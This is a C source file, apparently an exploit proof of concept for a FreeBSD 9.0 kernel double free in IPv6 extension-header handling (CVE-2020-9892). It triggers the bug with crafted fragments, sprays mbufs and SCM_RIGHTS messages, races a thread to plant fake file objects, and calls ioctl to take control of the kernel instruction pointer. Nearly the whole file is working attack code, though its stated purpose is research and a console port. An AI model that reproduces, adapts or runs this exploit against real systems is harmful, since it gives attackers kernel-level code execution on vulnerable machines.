/* * IP6_EXTHDR_CHECK Double Free (CVE-2020-9892) Exploit PoC for FreeBSD 9.0 * https://github.com/google/security-research/security/advisories/GHSA-gxcr-cw4q-9q78 * - * Bug credit: Andy Nguyen (@theflow0) * Exploit credit: @SpecterDev, @tihmstar * Thanks: @sleirsgoevy, @littlelailo, flatz (@flat_z), @balika011 * - * Build: gcc -o expl ip6_expl_poc.c -pthread * - * Stability: 30-40% w/ 2 CPUs and 2GB RAM. Could likely be improved by tweaking timings and spray * packet sizes, but since these circumstances are very specific to the system state and the end-goal * is a PS4 port, I didn't go too crazy trying to optimize it, this is mainly a reference. * - * This file contains implementation for a FreeBSD/XNU/iOS kernel bug in the IPv6 subsystem. This * POC will achieve code execution in ring0 / supervisor mode and set the instruction pointer to * 0x41414141 to intentionally crash the kernel to demonstrate RIP control. * * A brief overview of the exploit strategy... * * The bug allows us to get a double free in the mbuf UMA zone in the kernel. We abuse this to * acquire two references to the same mbuf via a tagged UDP packet spray. We then free one of the * references to get it acquired by an SCM_RIGHTS control message on a local AF_UNIX socket. Since * we still have the reference on our other tagged UDP packet, we free it to cause UAF, and interleave * corruption to corrupt the stack of file pointers in the control message mid-processing to get * crafted, userland-controlled file pointers stored in the process FD table. * * Now we have one or more file descriptors with attacker-controlled file pointers which contain a * malicious file ops table with the ioctl function pointer pointing to 0x41414141. We simply call * ioctl() on each fd we receive until we trigger code exec. If we fail, it means we lost the race * and retry. If we can't reclaim the overlap, it's a fatal issue and a reboot will be needed since * cleanup is irrepairably broken due to tainted state of the sockets, and process exit will crash the * kernel. */ #include #include #include #include #include #include #include #include #include #include #include #include #include // Takes a data buffer and zeroes it, then initializes the 4 byte routing header with the size and // next header type given. void build_routing_header(char *buf, uint64_t sz, uint8_t next_header) { // Leave routing data null memset(buf, 0, sz); // Routing header buf[0x0] = next_header; buf[0x1] = (sz / 8) - 1; // Length is in units of octets not bytes buf[0x2] = 0; buf[0x3] = 0; } // Builds a raw packet consisting of a hop-by-hop header, fragment header, and auxiliary data with the info // given, then sends it to the given fd on the loopback address (::1). uint64_t send_fragment(int fd, char *data, uint64_t off, uint64_t sz, uint8_t final, uint32_t id, uint8_t next_header) { uint64_t i; uint8_t packetData[0x200]; // Hop-by-hop headers packetData[0x0] = IPPROTO_FRAGMENT; packetData[0x1] = 0; packetData[0x2] = IP6OPT_PADN; packetData[0x3] = 4; *(uint32_t *)(packetData + 4) = 0x41414141; // Fragment header size_t mid = off + !final; packetData[0x8] = next_header; packetData[0x9] = 0; packetData[0xA] = mid / 256; packetData[0xB] = mid % 256; *(uint32_t *)(packetData + 0xC) = id; // Auxiliary data uint64_t dataOffset = 0x10; for(i = 0; i < sz; i++) { packetData[dataOffset + i] = data[i]; } // Send on loopback struct sockaddr_in6 sin6 = { .sin6_family = AF_INET6, .sin6_addr = {0}, .sin6_port = 0x1337, }; sin6.sin6_addr.s6_addr[15] = 1; // Fire into the kernel return sendto(fd, packetData, dataOffset + sz, 0, (struct sockaddr *)&sin6, sizeof(sin6)); } // Sends a packet on a socket to get an mbuf allocated. int push_mbuf(int sock, char *in_data, uint64_t sz) { return sendto(sock, in_data, sz, 0, 0, 0); } // Sends a packet on a socket to get an mbuf allocated. int push_mbuf2(int sock, char *in_data, uint64_t sz) { return sendto(sock, in_data, sz, MSG_DONTWAIT, 0, 0); } // Receives a packet on the socket to get an mbuf free'd. int pop_mbuf(int sock, char *out_data, uint64_t sz) { return recvfrom(sock, out_data, sz, MSG_DONTWAIT, 0, 0); } // Gets a packet's data on the socket without removing it from the queue / free'ing it. int peek_mbuf(int sock, char *out_data, uint64_t sz) { return recvfrom(sock, out_data, sz, MSG_DONTWAIT | MSG_PEEK, 0, 0); } // Creates an IPV4 UDP socket and binds + connects it to the loopback interface, returning // the newly connected socket descriptor. int create_udp_loopback_sock() { // Initialize a UDP IPv4 socket int s = socket(AF_INET, SOCK_DGRAM, 0); struct sockaddr_in sin = { .sin_family = AF_INET, .sin_addr = {0x100007f}, .sin_port = 0, }; // Bind it to loopback interface and connect to it uint64_t socklen = sizeof(struct sockaddr_in); bind(s, (struct sockaddr *)&sin, socklen); getsockname(s, (struct sockaddr *)&sin, (socklen_t *)&socklen); connect(s, (struct sockaddr *)&sin, socklen); return s; } // Writes a stack of file descriptors to the given fd. Borrowed from sleirsgoevy's poc since we know it works. ssize_t write_fd(int fd, void *ptr, size_t nbytes, int* sendfd) { int i; struct msghdr msg; struct iovec iov[1]; union { struct cmsghdr cm; char control[CMSG_SPACE(253*sizeof(int))]; } control_un; struct cmsghdr *cmptr; msg.msg_control = control_un.control; msg.msg_controllen = sizeof(control_un.control); cmptr = CMSG_FIRSTHDR(&msg); cmptr->cmsg_len = CMSG_LEN(253*sizeof(int)); cmptr->cmsg_level = SOL_SOCKET; cmptr->cmsg_type = SCM_RIGHTS; for(i = 0; i < 253; i++) ((int *) CMSG_DATA(cmptr))[i] = sendfd[i]; msg.msg_name = NULL; msg.msg_namelen = 0; iov[0].iov_base = ptr; iov[0].iov_len = nbytes; msg.msg_iov = iov; msg.msg_iovlen = 1; return(sendmsg(fd, &msg, 0)); } // Reads a stack of file descriptors from the given fd. Borrowed from sleirsgoevy's poc since we know it works. ssize_t read_fd(int fd, void *ptr, size_t nbytes, int *recvfd) { struct msghdr msg; struct iovec iov[1]; ssize_t n; int newfd; int i; union { struct cmsghdr cm; char control[CMSG_SPACE(253*sizeof(int))]; } control_un; struct cmsghdr *cmptr; msg.msg_control = control_un.control; msg.msg_controllen = CMSG_SPACE(253*sizeof(int)); msg.msg_name = NULL; msg.msg_namelen = 0; iov[0].iov_base = ptr; iov[0].iov_len = nbytes; msg.msg_iov = iov; msg.msg_iovlen = 1; if ( (n = recvmsg(fd, &msg, 0)) < 0) return(n); if ( (cmptr = CMSG_FIRSTHDR(&msg)) != NULL && cmptr->cmsg_len == CMSG_LEN(253*sizeof(int))) { for(i = 0; i < 253; i++) recvfd[i] = ((int *) CMSG_DATA(cmptr))[i]; } else { for(i = 0; i < 64; i++) printf("%08x\n", ((int*)CMSG_DATA(cmptr))[i]); *recvfd = -1; } return(n); } #define PACKET_ONE_SZ 0x60 // Size of first packet fragment #define PACKET_TWO_SZ 0x20 // Size of second packet fragment #define SPRAY_SOCKET_NUM 0x100 // Number of times for most sprays #define SPRAY_PACKET_PTRS 0xA0 // Number of file pointers to fake in overlap packet volatile int start_thread = 0; // Raw IPV6 socket for triggering the bug int raw_sock; // UDP spray sockets and TCP socketpairs for SCM_RIGHTS messages to overwrite int udp_socks[SPRAY_SOCKET_NUM]; int tcp_sockpairs[SPRAY_SOCKET_NUM * 2]; // Scratch / trash buffer primarily for popping messages out of the queue int popbuf[37]; // Overlap trackers so we know which sockets share an mbuf int overlap_one = -1; int overlap_two = -1; // Structure to spray into UAF'd mbuf to smash file pointers // - // We need 4 bytes to align from 0xC to 0x10 since the file pointers are on 8-byte boundaries. // We can use this padding for tags for the respray. We have to pack the struct because if we // don't the compiler will insert padding after the tag which will mess with our UAF alignment. struct overlap { int pad1; uint64_t pointers[SPRAY_PACKET_PTRS]; } __attribute__((packed)); // Spray packet data struct overlap *spray_packet; // File ops struct from the kernel that we need to fake for code execution struct fileops { void *fo_read; void *fo_write; void *fo_truncate; void *fo_ioctl; // <-- RIP hijack fptr void *fo_poll; void *fo_kqfilter; void *fo_stat; void *fo_close; void *fo_chmod; void *fo_chown; int fo_flags; }; // File struct from the kernel we need to fake. Fields without comments are irrelevant and // are not faked. struct file { void *f_data; struct fileops *f_ops; // Important - fake for code execution void *f_cred; void *f_vnode; short f_type; // Needs fake for ioctl() usage (socket type) short f_vnread_flags; volatile u_int f_flag; // Needs fake for ioctl() usage (RW flags) volatile u_int f_count; // Needs fake for refcounting check int f_seqcount; off_t f_nextoff; void *f_cdevpriv; off_t f_offset; void *f_label; }; void *corrupt_file_pointers(void *vargp) { int i = 0; printf("THREAD 2 STARTED!!!!\n"); while(start_thread == 0) { } // Free the mbuf to UAF the SCM_RIGHTS control message pop_mbuf(udp_socks[overlap_two], popbuf, sizeof(popbuf)); // Smash file pointer stack with our own for(i = 0; i < SPRAY_SOCKET_NUM; i++) { push_mbuf2(udp_socks[i], (char *)spray_packet, sizeof(struct overlap)); } } int main() { int i; char newbuf[0x1000]; int fds[256]; pthread_t threadid; /////////////////////////////////////////////////////////////// // Stage 0 - Setup /////////////////////////////////////////////////////////////// // Setup our spray spray_packet = malloc(sizeof(struct overlap)); // Setup our fake file object struct file *fakeFile = malloc(sizeof(struct file)); struct fileops *fops = malloc(sizeof(struct fileops)); memset(fakeFile, 0, sizeof(struct file)); memset(fops, 0, sizeof(struct fileops)); fakeFile->f_ops = fops; fops->fo_ioctl = 0x41414141; // RIP = 0x41414141 for POC fakeFile->f_type = 2; // DTYPE_SOCKET fakeFile->f_flag = 1 | 2; // FREAD | FWRITE fakeFile->f_count = 1337; // Reference count, just some high # so it never gets released printf("fakeFile = %p\n", fakeFile); // Pre-emptively setup spray packet spray_packet->pad1 = 0; for(i = 0; i < SPRAY_PACKET_PTRS; i++) spray_packet->pointers[i] = (uint64_t)(fakeFile); // Setup thread 2 pthread_create(&threadid, NULL, corrupt_file_pointers, NULL); // Used for debugging (by checking this fixed address from kernel we can target debug logs) char *dbgmapping = mmap((void*)0xbeef0000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); printf("dbgmapping mapped %p\n", dbgmapping); // Setup file descriptors to pass for(i = 0; i < 256; i++) fds[255-i] = open("/etc/passwd", O_RDONLY); for(i = 253; i < 256; i++) close(fds[i]); for(i = 0; i < 32; i++) printf("i = %d | fd = %d\n", i, fds[i]); memset((char *)newbuf, 0xFF, 1024); // Create raw socket raw_sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS); // Create spray UDP sockets for(i = 0; i < SPRAY_SOCKET_NUM; i++) udp_socks[i] = create_udp_loopback_sock(); // Create TCP socketpairs for(i = 0; i < SPRAY_SOCKET_NUM; i++) socketpair(AF_UNIX, SOCK_STREAM, 0, tcp_sockpairs + 2 * i); // Build up double free packet char doubleFreePacket[PACKET_ONE_SZ + PACKET_TWO_SZ]; build_routing_header((char *)(doubleFreePacket + 0x00), PACKET_ONE_SZ, IPPROTO_ROUTING); build_routing_header((char *)(doubleFreePacket + PACKET_ONE_SZ), PACKET_TWO_SZ, IPPROTO_ROUTING); /////////////////////////////////////////////////////////////// // Stage 1 - Double free & reclaim on UDP pair /////////////////////////////////////////////////////////////// printf("[+] Double freeing mbuf and reclaiming with tagged packets\n"); // Trigger double free send_fragment(raw_sock, doubleFreePacket, 0, PACKET_ONE_SZ, 0, 0x60606060, IPPROTO_ROUTING ); send_fragment(raw_sock, doubleFreePacket, PACKET_ONE_SZ, sizeof(doubleFreePacket) - PACKET_ONE_SZ, 1, 0x60606060, IPPROTO_ROUTING ); // 1 second struct timespec one_sec = { .tv_sec = 1, .tv_nsec = 0 }; // 10 milliseconds struct timespec ten_millisecs = { .tv_sec = 0, .tv_nsec = 10000000 } // Sleep to allow time for the double free to occur nanosleep(&one_sec, 0); // Spray tagged packets on UDP sockets to get an overlap pair int tag_packet[49]; for(i = 0; i < SPRAY_SOCKET_NUM; i++) { tag_packet[0] = i; push_mbuf(udp_socks[i], (char *)&tag_packet, sizeof(tag_packet)); // Don't send too quickly nanosleep(&ten_millisecs, 0) } // Sleep to allow time for all packets to be sprayed nanosleep(&one_sec, 0); // Search for the overlap by peeking each socket and looking for corruption. // - // The first corrupted packet should contain the index of the packet that overlapped with it. printf("[+] Searching for overlap pair\n"); for(i = 0; i < SPRAY_SOCKET_NUM; i++) { peek_mbuf(udp_socks[i], (char *)&tag_packet, sizeof(int)); if(tag_packet[0] != i) { overlap_one = i; overlap_two = tag_packet[0]; } } // If we failed to overlap, we failed to capture the pointers from the double free, needs re-run. if(overlap_one <= 0 || overlap_two <= 0) { printf("[!] Overlap failed!\n"); return -1; } // Yay we found an overlap pair! printf("[+] Found overlap pair: %d -> %d\n", overlap_one, overlap_two); /////////////////////////////////////////////////////////////// // Stage 2 - Trigger overlap on TCP socketpair /////////////////////////////////////////////////////////////// char bigcluster[2048] = {0}; int outfds[253]; dbgmapping[0] = 'X'; for(i = 0; i < 49; i++) tag_packet[i] = 0x41414141; // 5 seconds struct timespec five_secs = { .tv_sec = 5, .tv_nsec = 0 }; // 200 milliseconds struct timespec twohundred_millisecs = { .tv_sec = 0, .tv_nsec = 200000000 }; nanosleep(&twohundred_millisecs, 0); printf("[+] free 1\n"); // Free the mbuf to overlap udp_socks[overlap_two] with SCM_RIGHTS control message pop_mbuf(udp_socks[overlap_one], popbuf, sizeof(popbuf)); // We need to know what socketpair has the overlap int overlap_pair = -1; // Spray SCM_RIGHTS messages into the overlap for(i = 0; i < SPRAY_SOCKET_NUM; i++) { write_fd(tcp_sockpairs[2*i], dbgmapping, 1, fds); // Side-channel the overlapped UDP packet to determine what index we overlapped peek_mbuf(udp_socks[overlap_two], (char *)&tag_packet, sizeof(int)); printf("sockpair = %d, peek = %lx\n", (2*i), tag_packet[0]); // The first packet that doesn't have a first dword of zero is the socketpair we overlapped if(tag_packet[0] != 0 && overlap_pair == -1) overlap_pair = 2*i; } // We now have an SCM_RIGHTS message overlapped with a UDP socket mbuf to cause controlled UAF printf("[+] Socketpair %d -> %d has corruptable mbuf\n", overlap_pair, overlap_pair+1); // Calm before the storm... nanosleep(&five_secs, 0); /////////////////////////////////////////////////////////////// // Stage 3 - RACE /////////////////////////////////////////////////////////////// int rrv; // Kickstart thread 2 to begin UAF start_thread = 1; for(i = 0; i < 600; i++) { // do nothing, delay for race stability } // Start the read on the SCM_RIGHTS message we can smash with the other thread rrv = read_fd(tcp_sockpairs[overlap_pair+1], dbgmapping, 1, outfds); for(i = 0; i < 253; i++) printf("outfds i = %d | fd = %d\n", i, outfds[i]); // Hopefully we smashed it and have a fake file pointer created, attempt ioctl() on it to // trigger RIP = 0x41414141 crash! for(i = 0; i < 253; i++) { errno = 0; rrv = ioctl(outfds[i], 0x81200000); printf("ioctl rv = %d | err = %s\n", rrv, strerror(errno)); } // If we reached here, we failed to smash it and lost the race printf("Reached the end, rrv = %d\n", rrv); // Never return, if we return and we failed, we die immediately because cleanup is borked for(;;); }